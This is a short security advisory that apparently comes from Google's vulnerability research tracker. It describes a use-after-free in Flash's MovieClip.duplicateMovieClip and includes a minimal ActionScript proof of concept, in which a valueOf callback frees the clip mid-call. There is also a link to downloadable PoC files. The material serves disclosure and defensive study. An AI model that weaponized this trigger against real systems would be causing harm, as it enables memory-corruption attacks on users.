Source: https://code.google.com/p/google-security-research/issues/detail?id=591

There is a use-after-free in MovieClip.duplicateMovieClip. If the depth or movie name parameter provided is an object with toString or valueOf defined, this method can free the MovieClip, which is then used. 

A minimal PoC follows:


this.createEmptyMovieClip("mc", 1);

mc.duplicateMovieClip( "mc",{valueOf : func});


function func(){
	
	trace("in func");
	mc.removeMovieClip();

        // Fix heap here

	return 5;
	
	}
	
	
A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39042.zip